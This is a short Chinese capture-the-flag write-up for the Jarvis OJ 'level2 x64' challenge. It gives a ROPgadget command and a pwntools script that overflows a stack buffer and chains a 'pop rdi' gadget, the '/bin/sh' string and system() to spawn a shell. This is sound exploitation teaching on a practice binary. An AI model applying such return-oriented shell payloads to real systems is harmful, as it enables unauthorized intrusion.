18.9.19 Jarvis OJ PWN----[XMAN]level2(x64)

先checksec一下

可以栈溢出,我们可以看到文件里有system函数,有/bin/sh字符串,美滋滋

64位函数的参数传递顺序和32位不同,传参顺序:rdi,rsi,rdx,rcx,r8,r9,栈,所以要把\bin\sh的地址放到rdi里

找一下可溢出的地方,在read函数里

关键点其实就是找出rdi地址(参考大佬的教学)

指令语句:ROPgadget --binary level2_x64 --only "pop|ret"|grep rdi

结果:

上脚本

#代码主体

cn.recv()
bin_addr=bin.search('/bin/sh').next()
system_addr=bin.symbols['system']
rdi= 0x00000000004006b3
payload='a'*(0x80+0x08)+p64(rdi)+p64(bin_addr)+p64(system_addr)
cn.sendline(payload)
cn.interactive()

猜你喜欢

转载自blog.csdn.net/qq_42192672/article/details/82772955
今日推荐